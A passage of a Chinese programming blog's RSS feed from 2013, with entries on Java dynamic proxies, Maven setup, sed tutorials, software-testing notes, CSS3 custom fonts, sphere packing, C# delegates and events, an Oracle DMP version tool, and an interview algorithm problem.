HttpPost httppost = new HttpPost(&#34;https://leaver.me/uploadFile.action&#34;);
httppost.setEntity(reqEntity);
CloseableHttpResponse response = null;
response = httpclient.execute(httppost);&lt;/pre&gt;
&lt;p&gt;其他都和普通的post请求没啥区别了&lt;/p&gt;</description>
    </item>
    <item>
      <title>Java动态代理实例</title>
      <link>http://blog.leaver.me/2013/11/24/java%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E4%BE%8B/</link>
      <pubDate>Sun, 24 Nov 2013 18:16:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/11/24/java%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E4%BE%8B/</guid>
      <description>&lt;p&gt;首先什么是代理？&lt;/p&gt;
&lt;div&gt;所谓代理呢也就是在调用实现类的方法时，可以在方法执行前后做额外的工作，这个就是代理。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;那动态代理呢，官方解释是：&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;Java 动态代理机制的出现，使得 Java 开发人员不用手工编写代理类，只要简单地指定一组接口及委托类对象，便能动态地获得代理类。代理类会负责将所有的方法调用分派到委托对象上反射执行，在分派执行的过程中，开发人员还可以按需调整委托类对象及其功能，这是一套非常灵活有弹性的代理框架。&lt;/pre&gt;
老湿，你说的是个毛啊，完全没看懂啊！
&lt;p&gt;我更喜欢另一种通俗的解释，官方的解释总是高度抽象的，等用了一段时间才能理解体会&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;动态代理实现了日志和业务的分开，也就是某个类只是要提供了某些业务，比如银行取款业务。这个类实现了取款业务的同时也需要实现日志功能，如果不用动态代理的话，那么由此一来该类代码里面已经额外地添加了自己不该添加的日志功能能代码。所以我们就得使用动态代理把它的业务代码和日志功能代码分开。所以用到了动态代理概念，spring里面的AOP就是一个很好的例子。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;不直观啊，老湿，能再给力一点不？&lt;/div&gt;
&lt;div&gt;额，这样的话，我们来看一个例子，要用到的两个类
&lt;div&gt;实现java.lang.reflect.InvocationHandler接口提供一个执行处理器，也就是真正做事的，然后通过java.lang.reflect.Proxy得到一个代理对象，通过这个代理对象来执行业务方法,在业务方法被调用的同时，执行处理器会被自动调用。   记住，动态代理只能对接口&lt;/div&gt;
&lt;div&gt;首先业务接口：&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;public interface HelloWorld {
	public void sayHelloWorld();
}&lt;/pre&gt;
然后我们是这样写的实现
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class HelloWorldImpl implements HelloWorld {
	public void sayHelloWorld() {
		System.out.println(&#34;Hello World!&#34;);
	}
}&lt;/pre&gt;
后来我们觉得执行这个方法前能不能做点其他啥事呢，比如写个日志？见个妹子？啥，这段代码不让改了，改了的话，业务方法和日志混合的一塌糊涂啊，以后想改个日志格式你来写啊
&lt;p&gt;那我们就得定义一个拦截器/执行处理器了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class HelloWorldHandler implements InvocationHandler {
	//目标对象
	private Object targetObject;

	public HelloWorldHandler(Object targetObject){
		this.targetObject = targetObject;
	}

	public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
		System.out.println(&#34;方法调用前&#34;);

		Object result = method.invoke(this.targetObject, args);

		System.out.println(&#34;方法调用结束&#34;);

		return result;
	}
}&lt;/pre&gt;
&lt;p&gt;这客户端咋用啊，老湿&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class HelloWorldTest {
	public static void main(String[] args) {
		//业务对象
		HelloWorld obj = new HelloWorldImpl();

		//拦截器对象
		HelloWorldHandler handler = new HelloWorldHandler(obj);

		//返回业务对象的代理对象
		HelloWorld proxy = (HelloWorld)Proxy.newProxyInstance(
				obj.getClass().getClassLoader(), 
				obj.getClass().getInterfaces(), 
				handler);

		//通过代理对象执行业务对象的方法
		proxy.sayHelloWorld();
	}
}&lt;/pre&gt;
&lt;p&gt;看到没，通过Proxy类的newProxyInstance方法，传入类加载器，类接口，和这个处理器，我们就获得一个代理&lt;/p&gt;
&lt;p&gt;执行结果是这样的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;方法调用前
Hello World!
方法调用结束&lt;/pre&gt;
&lt;p&gt;恩，电脑没死机，是这样的&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
    </item>
    <item>
      <title>Maven提示缺少tools.jar</title>
      <link>http://blog.leaver.me/2013/09/19/maven%E6%8F%90%E7%A4%BA%E7%BC%BA%E5%B0%91tools.jar/</link>
      <pubDate>Thu, 19 Sep 2013 13:24:26 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/09/19/maven%E6%8F%90%E7%A4%BA%E7%BC%BA%E5%B0%91tools.jar/</guid>
      <description>&lt;p&gt;记录一下。&lt;/p&gt;
&lt;p&gt;这两天在熟悉Maven，长见识了.后续可能的话会写上一两篇，今天配置的时候提示tools.jar文件。于是使用everything搜了一下，本机的jdk目录还真没有，最后搜了一下，发现是安装jdk时候的问题，具体就是因为安装jdk的时候，后面被让继续安装jre，这个时候，我为了方便，将jre安装在了jdk的目录里，结果导致jre会覆盖到jdk的这两个文件。同时还会覆盖dt.jar这个包，于是，就没了。。这个问题略隐晦了..&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;重新安装了jdk，将jdk和jre分开目录，然后设置一下jdk的lib目录到classpath就可以了，问题解决。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Unix sed实用教程系列目录</title>
      <link>http://blog.leaver.me/2013/08/11/unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%B3%BB%E5%88%97%E7%9B%AE%E5%BD%95/</link>
      <pubDate>Sun, 11 Aug 2013 17:03:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/11/unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%B3%BB%E5%88%97%E7%9B%AE%E5%BD%95/</guid>
      <description>&lt;p&gt;本系列文章已经译完了，译自&lt;a href=&#34;http://www.theunixschool.com/p/awk-sed.html&#34;&gt;awk-sed@theunixschool&lt;/a&gt;,收获颇丰，作者没有将明白的我做了补充，并且尝试讲的更清楚，整理成系列索引，方便学习，开篇非译文,是我为了方便后面的理解写的一篇,感谢原作者的分享.有任何问题欢迎留言讨论.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3162.html&#34;&gt;Unix sed实用教程开篇&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3169.html&#34;&gt;[译]Unix sed实用教程第一篇–向文件中增加一行&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3174.html&#34;&gt;[译]Unix sed实用教程第二篇–替换文件内容&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3176.html&#34;&gt;[译]Unix sed实用教程第三篇–读写文件&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3179.html&#34;&gt;[译]Unix sed实用教程第四篇–选择性打印&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3183.html&#34;&gt;[译]Unix sed实用教程第五篇–替换文件内容续&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3186.html&#34;&gt;[译]Unix sed实用教程第六篇–删除文件内容&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3191.html&#34;&gt;[译]Unix sed实用教程第七篇–输出文件内容(10 Demo)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://leaver.me/archives/3194.html&#34;&gt;[译]Unix sed实用教程第八篇–CSV文件操作&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Unix sed实用教程开篇</title>
      <link>http://blog.leaver.me/2013/08/09/unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E5%BC%80%E7%AF%87/</link>
      <pubDate>Fri, 09 Aug 2013 09:43:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/09/unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E5%BC%80%E7%AF%87/</guid>
      <description>&lt;p&gt;已经看了一段时间的Linux Shell编程了,也能完成一些基本的使用，为了加深理解，恰好看到了The Unix School的一个sed&amp;amp;awk教程，不是简单的命令参数堆积，而是一个相当实用的系列，因此，希望能在几天内完成翻译.翻译过程不会逐字翻译，会穿插一些注释，包括自己的一些理解和其他的一些引用，作为开篇，简单说一下sed的工作机制，对后面的理解会有很大帮助。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;sed是什么：&lt;/span&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;sed是一个非交互式的流编辑器（stream editor）。所谓非交互式，是指使用sed只能在命令行下输入编辑命令来编辑文本，然后在屏幕上查看输出；而所谓流编辑器，是指sed每次只从文件（或输入）读入一行，然后对该行进行指定的处理，并将结果输出到屏幕（除非取消了屏幕输出又没有显式地使用打印命令），接着读入下一行。整个文件像流水一样被逐行处理然后逐行输出。(via &lt;a href=&#34;http://www.sealinger.com/archives/297/&#34;&gt;Walk in Mindfields&lt;/a&gt;  )
&lt;span style=&#34;color: #3366ff;&#34;&gt;sed工作机制：&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;sed维护两个缓冲区，pattern space和hold space，命令开始执行之前都为空。&lt;/p&gt;
&lt;p&gt;pattern space缓冲区用于临时保存每次读取的一行的内容，大部分的匹配和替换等等操作都是针对pattern space中的内容进行的，因此不会对输入文件有任何影响,而hold space则作为后备缓冲区使用,&lt;strong&gt;除非指定了一些特殊的命令(例如D删除命令)，否则pattern space中的内容会在处理完一行之后清空，但hold space中的内容在处理完每一行时不会被删除。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;也就是说pattern space相当于我们的内存，hold space相当于硬盘.处理的时候在内存里，处理过的就放回硬盘.&lt;/strong&gt;(这是我的理解，有一点点不恰当，但是因此一些概念会比较好理解.)&lt;/p&gt;
&lt;p&gt;具体来说，可以大致分为以下几步：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1.首先，从标准输入流读取一行，移除换行符，然后存入pattern space中&lt;/p&gt;
&lt;p&gt;2.执行指定的命令,(每个命令都有一个可选的地址(可以是行号，也可能是一个正则表达式匹配)，这个地址作为一个执行命令前的测试，指定了需要对那些行进行操作。当前行只有匹配的情况下才会执行命令。）&lt;/p&gt;
&lt;p&gt;3.当指定所有的命令都执行完了之后，pattern space内容就被处理过了，sed默认会将pattern space中的内容打印到标准输出中，移除的换行符也会打印出来。本行操作完成。&lt;/p&gt;
&lt;p&gt;4.然后sed会读取下一行的内容，再次执行相同的操作。直到行尾。
 &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;基本上最基础的理论就差不多了.主要是这个工作机制比较重要.后面从示例中慢慢加深理解.&lt;/p&gt;</description>
    </item>
    <item>
      <title>《软件测试》一点笔记</title>
      <link>http://blog.leaver.me/2013/07/26/%E8%BD%AF%E4%BB%B6%E6%B5%8B%E8%AF%95%E4%B8%80%E7%82%B9%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Fri, 26 Jul 2013 08:24:54 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/07/26/%E8%BD%AF%E4%BB%B6%E6%B5%8B%E8%AF%95%E4%B8%80%E7%82%B9%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;这两天在读《软件测试》，书不厚，也就300页，有些观念还是挺诧异的，比如软件功能超出产品说明书也算作软件缺陷&amp;hellip;想想也能明白，只是猛然看到还是很惊异..简单记录一下读书过程中一些重要的笔记.留作备份.&lt;/p&gt;
&lt;p&gt;软件缺陷：&lt;/p&gt;
&lt;div&gt;1.软件为达到产品说明书表明的功能&lt;/div&gt;
&lt;div&gt;2.软件出现了产品说明书指明不会出现的错误.&lt;/div&gt;
&lt;div&gt;3.软件功能超出产品说明书指明范围&lt;/div&gt;
&lt;div&gt;4.软件未达到产品说明书虽未指出但应达到的目标&lt;/div&gt;
&lt;div&gt;5.软件测试员认为软件难以理解，不易使用，运行速度缓慢，或者最终用户认为不好.&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;为什么会出现软件缺陷&lt;/div&gt;
&lt;div&gt;最大的原因是产品说明书.而并非编程错误，第二大来源是设计方案&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;软件测试员的目标是发现软件缺陷，进可能早一些，确保其得到修复&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;完全测试程序是不可能的&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;不要总是报告坏消息，如果软件没有错误，就夸他们，和他们聊天&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;可靠性只是质量的一个方面，可能还包括功能齐全，技术制裁，包括色彩等&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;在设计和执行测试案例时，首先进行通过测试，在破坏性试验之前看看软件基本功能是否实现是很重要的，否则在正常使用软件时就会奇怪为什么有这么多软件缺陷&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;软件测试员必须测试程序的状态及其转换&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;动态白盒测试的目标是寻找软件缺陷，调试则是为了修复他们&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;静态黑盒子（审查设计说明书），动态黑盒子，静态白盒子，动态白盒子&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;进行白盒测试前，一定要根据说明书建立黑盒测试案例&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;语句覆盖是程序的所有语句执行，分支覆盖则是所有分支都被执行，条件覆盖则要保证IF语句的每一种可能性都被覆盖&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;优秀UI的七个要素：&lt;/div&gt;
&lt;div&gt;1.符合标准和规范，2.灵活性，3.正确性。4.直观性。5.舒适性，6.实用性。7.一致性&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;测试存根用于自顶向下的测试，清查到低级模块或者把自己替换为低级模块，主要测试高级模块，外表和行为就像是低级模块&lt;/div&gt;</description>
    </item>
    <item>
      <title>使用CSS3的自定义字体美化文字</title>
      <link>http://blog.leaver.me/2013/07/17/%E4%BD%BF%E7%94%A8css3%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E5%AD%97%E4%BD%93%E7%BE%8E%E5%8C%96%E6%96%87%E5%AD%97/</link>
      <pubDate>Wed, 17 Jul 2013 14:45:45 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/07/17/%E4%BD%BF%E7%94%A8css3%E7%9A%84%E8%87%AA%E5%AE%9A%E4%B9%89%E5%AD%97%E4%BD%93%E7%BE%8E%E5%8C%96%E6%96%87%E5%AD%97/</guid>
      <description>&lt;p&gt;之前看到一些设计师的主题的字体很美，下载下来发现使用了css3的自定义字体，可以用来显示服务器上的字体，非常方便，学习了一下&lt;/p&gt;
&lt;p&gt;1.首先得到字体&lt;/p&gt;
&lt;p&gt;这个方法很多，本机的字体，一些国外的免费网站，比如这个：&lt;a href=&#34;http://www.dafont.com/&#34;&gt;http://www.dafont.com&lt;/a&gt;，下载后的字体一般为ttf格式，ttf字体被很多浏览器支持，但是，IE不支持，为了兼容性，需要为IE单独设置字体文件，格式必须为eot，所以我们需要转换字体，使用在线工具，比如&lt;a href=&#34;http://www.kirsle.net/wizards/ttf2eot.cgi&#34;&gt;http://www.kirsle.net/wizards/ttf2eot.cgi&lt;/a&gt;，当然类似的网站有很多，根据个人爱好，随意。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;2.添加内容&lt;/p&gt;
&lt;p&gt;这里，我写一个简单的html文件，内容为&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;&amp;lt;body&amp;gt;
&amp;lt;p class=&#34;test&#34;&amp;gt;bystander&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;&lt;/pre&gt;
&lt;p&gt;在没有设置customFont这个类的css之前，字体就是默认的字体了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;3.设置css样式&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;@font-face
{
font-family:myFont;/*主流浏览器可用*/
src:url(&#34;PONCTUATION.ttf&#34;);
}
@font-face
{
font-family:myFont;/*兼容IE*/
src:url(&#34;PONCTUATION.eot&#34;);
}
.test
{
font-family:myFont;
font-size:40px;
}&lt;/pre&gt;
&lt;p&gt;显示效果就是这样的了&amp;hellip;只是用来演示的一个字体。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/38421_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0aa0db5ed4bc986d61cfbb9e1e421a2226c94f9b.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;因为浏览器是要自动下载这个字体文件的，所以对于英文字体没啥问题，英文字体一般这个字体文件在100k左右，和一张图片比起来，基本算不是问题，但是对于中文字体，包一般在10M-20M左右，这样是不现实的，我的想法是，可以自己制作字体包，这样只需要满足常用的一些汉字就行了，大大减少包的大小，然后去找了一下，发现了&lt;a href=&#34;http://www.high-logic.com/font-editor/fontcreator.html&#34;&gt;http://www.high-logic.com/font-editor/fontcreator.html&lt;/a&gt;这个软件，是可以直接编辑字体包的，也可以创建字体包，有空了用来试试.&lt;/p&gt;</description>
    </item>
    <item>
      <title>等物体填充问题</title>
      <link>http://blog.leaver.me/2013/06/29/%E7%AD%89%E7%89%A9%E4%BD%93%E5%A1%AB%E5%85%85%E9%97%AE%E9%A2%98/</link>
      <pubDate>Sat, 29 Jun 2013 18:14:08 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/06/29/%E7%AD%89%E7%89%A9%E4%BD%93%E5%A1%AB%E5%85%85%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;那天在群里，rich大牛提了一个问题，一个直径为10cm的球内最多能够填充直径为1cm的球多少个.&lt;/p&gt;
&lt;p&gt;之前看到过一个类似的简单说明，就像是在一个盒子里装乒乓球，如果装满了，想继续装，如何办？经验告诉我们，摇一摇盒子。。这个问题看上去简单，其实是个NP难问题&amp;hellip;于是，查找了一些资料，比较有意思，分享一下。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;首先是stetson大学efriedma教授的网页，收集了各类填充（英文是packing）问题的图示，欢迎移步：&lt;a href=&#34;http://www2.stetson.edu/~efriedma/packing.html&#34;&gt;packing center&lt;/a&gt; ，不过这里面恰好没有球体填充（SpherePacking）的问题，然后继续查找，进入了一个可以演示球体填充问题的页面：&lt;a href=&#34;http://www.randomwalk.de/sphere/insphr/ylspheresinsphr.html&#34;&gt;sphere packing demo&lt;/a&gt; 感谢网站作者&lt;a href=&#34;http://www.pfoertner.org/&#34;&gt;Hugo Pfoertner&lt;/a&gt;，这里作者解出了1-72个球的问题，但是，作者说对于n&amp;gt;10的情况无法证明最优化.不过这个页面的演示太帅了，推荐看看。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/37791_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b6b2a692820197a3aab3f59f8e9b8e6821acf744.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;可以鼠标拖动旋转3D视角。&lt;/p&gt;
&lt;p&gt;然后在数学世界看到了一球体填充问题的证明结果，见：&lt;a href=&#34;http://mathworld.wolfram.com/SpherePacking.html&#34;&gt;SpherePacking&lt;/a&gt;，当然，下面一大堆引用我都没看..看文章里的意思是说这个填充问题填充率已经被证明最大是77.9%，但是这个上限可能还能提高，因为貌似根据这个情况，rich大牛提出的这个问题应该数量在779左右..&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>委托和事件示例</title>
      <link>http://blog.leaver.me/2013/06/25/%E5%A7%94%E6%89%98%E5%92%8C%E4%BA%8B%E4%BB%B6%E7%A4%BA%E4%BE%8B/</link>
      <pubDate>Tue, 25 Jun 2013 08:48:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/06/25/%E5%A7%94%E6%89%98%E5%92%8C%E4%BA%8B%E4%BB%B6%E7%A4%BA%E4%BE%8B/</guid>
      <description>&lt;p&gt;C#中委托和事件的例子比较多，讲得好的非常好，就不瞎凑热闹了，推荐博客园大牛的一篇：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.tracefact.net/csharp-programming/delegates-and-events-in-csharp.aspx&#34;&gt;C# 中的委托和事件&lt;/a&gt; ，如果你已经有了相应的基础，但没写过相关的例子，那我这里提供一个，首先看一下规范&lt;/p&gt;
&lt;p&gt;.Net Framework的编码规范：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;委托类型的名称都应该以EventHandler结束。&lt;/li&gt;
&lt;li&gt;委托的原型定义：有一个void返回值，并接受两个输入参数：一个Object 类型，一个 EventArgs类型(或继承自EventArgs)。&lt;/li&gt;
&lt;li&gt;事件的命名为 委托去掉 EventHandler之后剩余的部分。&lt;/li&gt;
&lt;li&gt;继承自EventArgs的类型应该以EventArgs结尾。
然后描述一下流程：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;老板监视时间变动（ComputerOffWorkTime方法），当工作时间满50后，通知员工时间到（OnNotifyOffWork方法，并传递OffWorkEventArgs参数），可以下班了，（OnNotifyOffWork方法内部调用事件NotifyOffWork），正式员工收到通知后，则下班，其他员工则清扫一下办公室&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后给出例子：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

namespace DelegateAndEvent
{

    public class Boss
    {
        //表示工作时间
        private int virTime;
        //下班时老板说的话
        public String SaidWords
        {
            get { return &#34;Boss:时间到，下班了&#34;; }
        }
        //委托定义
        public delegate void NotifyOffWorkEventHandler(Object sender, OffWorkEventArgs e);

        //事件
        public event NotifyOffWorkEventHandler NotifyOffWork;
        //事件参数
        public class OffWorkEventArgs:EventArgs
        {
            public readonly int virTime;
            public OffWorkEventArgs(int virTime)
            {
                this.virTime = virTime;
            }
        }
        //触发事件
      protected void OnNotifyOffWork(OffWorkEventArgs e)
        {
            if (NotifyOffWork!=null)
            {
                NotifyOffWork(this, e);
            }
        }

        //执行操作
        public void ComputerOffWorkTime()
        {
            for (int i = 1; i &amp;lt;= 50; i++)
            {
                virTime = i;
                if (i&amp;gt;=50)
                {
                    OffWorkEventArgs e = new OffWorkEventArgs(i);
                    OnNotifyOffWork(e);
                }
            }
        }
    }
    //正式员工
    public class FormalEmployee
    {
        public static void GoHome(Object sender, Boss.OffWorkEventArgs e)
        {
            Boss boss = (Boss) sender;
            Console.WriteLine(boss.SaidWords);
            Console.WriteLine(e.virTime);
            Console.WriteLine(&#34;FormalEmployee:准备回家&#34;);

        }
    }
    //其他员工
    public class OtherEmployee
    {
        public static void CleanOffice(Object sender, Boss.OffWorkEventArgs e)
        {
            Boss boss = (Boss)sender;
            Console.WriteLine(boss.SaidWords);
            Console.WriteLine(e.virTime);
            Console.WriteLine(&#34;OtherEmployee:准备清扫办公室&#34;);
        }
    }
    public class Program
    {

        static void Main(string[] args)
        {
           Boss boss=new Boss();
            //注册事件
            boss.NotifyOffWork += FormalEmployee.GoHome;
            boss.NotifyOffWork += OtherEmployee.CleanOffice;
            //老板开始计时
            boss.ComputerOffWorkTime();
        }
    }

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>DMP版本修改工具(C#)</title>
      <link>http://blog.leaver.me/2013/06/11/dmp%E7%89%88%E6%9C%AC%E4%BF%AE%E6%94%B9%E5%B7%A5%E5%85%B7c/</link>
      <pubDate>Tue, 11 Jun 2013 16:05:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/06/11/dmp%E7%89%88%E6%9C%AC%E4%BF%AE%E6%94%B9%E5%B7%A5%E5%85%B7c/</guid>
      <description>&lt;p&gt;最近在使用oracle导入一个dmp文件的时候，由于不知道dmp文件是如何导出的，是使用exp还是expdp导出的，所以纠结了比较长的时间，最后想到是否可以查看dmp文件的一些辅助信息呢，于是有了这个工具。&lt;/p&gt;
&lt;p&gt;在使用dmp导入的时候报如下错误&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;IMP-00010: 不是有效的导出文件，标题验证失败
IMP-00000: 未成功终止导入&lt;/pre&gt;
&lt;p&gt;据说有两个可能，1个是文件本身损坏，另一个是版本问题，多出现在高版本导出的数据向低版本导入。解决方法就是修改一下dmp文件就行了。dmp文件头部大概9个字节处标识了版本号用来头部验证。对于非常大的dmp我们不能直接用文本编辑器打开，因此找找资料，写个工具。本机一个12GB的文件已测试。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/37341_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/71a2a354a4dd2867eb60f08548a9da16870e4949.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;工具使用很简单，选择文件，识别出来版本，按格式改成导入端oracle的版本值，然后即可正常导入11G-10G测试成功。&lt;/p&gt;
&lt;p&gt;下载地址：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=2717736101&amp;amp;uk=1493685990&#34;&gt;DMP版本修改工具&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>阿里巴巴5月5日综合算法题详解</title>
      <link>http://blog.leaver.me/2013/06/02/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B45%E6%9C%885%E6%97%A5%E7%BB%BC%E5%90%88%E7%AE%97%E6%B3%95%E9%A2%98%E8%AF%A6%E8%A7%A3/</link>
      <pubDate>Sun, 02 Jun 2013 15:44:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/06/02/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B45%E6%9C%885%E6%97%A5%E7%BB%BC%E5%90%88%E7%AE%97%E6%B3%95%E9%A2%98%E8%AF%A6%E8%A7%A3/</guid>
      <description>&lt;p&gt;之前参加了阿里的笔试和电面，让后天那个敏感的日子去参加现场面，就去看了一下那天笔试的最后一道综合题，看着网上清一色最后一道题不知道从哪转的答案，不忍直视，一看代码就是错的，最直接的就是求中位数连奇偶性都不判断，直接处以2..这，另外当在无法整除的情况下，数据结果错误。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;这道题的大意是：有一个淘宝商户，在某城市有n个仓库，每个仓库的储货量不同，现在要通过货物运输，将每次仓库的储货量变成一致的，n个仓库之间的运输线路围城一个圈，即1-&amp;gt;2-&amp;gt;3-&amp;gt;4-&amp;gt;&amp;hellip;-&amp;gt;n-&amp;gt;1-&amp;gt;&amp;hellip;，货物只能通过连接的仓库运输，设计最小的运送成本（运货量*路程）达到淘宝商户的要求，并写出代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题思路：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;假设n个仓库的初始储货量分别为warehouse[1],warehouse[2],&amp;hellip;,warehouse[n]
计算平均储货量&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; average = （warehouse[1]+warehouse[2]+...+warehouse[n])/n&lt;/pre&gt;
&lt;p&gt;就算出来了最终的结果中，每个仓库应该有的存量
首先，从仓库1向仓库n运送k；
然后，从1到n-1，依次向下运送某一特定值，使得每一个仓库的余量都为average，剩下的问题就是求总代价的最小值了。&lt;/p&gt;
&lt;p&gt;设第0步从1仓库向n仓库（注意因为是圆圈，所以路径长度是1）运出k存量，k可以为负，如果为负数，意味着从n向1运输|k|存量，然后从循环，从（1到n-1）,从i仓库向i+1仓库运输，运输的量需要保证i仓库在运输完毕后等于average&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;第0步（从仓库1向仓库n运送k）:花费代价为 |k|，&lt;/li&gt;
&lt;li&gt;第1步（确保仓库1的余量为average）：需要花费代价为&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;|warehouse[1]-average-k|&lt;/pre&gt;
&lt;p&gt;也就是从1向2伙从2向1运输
3.  第2步（确保仓库2的余量为average）：代价为&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;|warehouse[2]+warehouse[1]-average-k-average|=|warehouse[1]+warehouse[2]-2*average-k|&lt;/pre&gt;
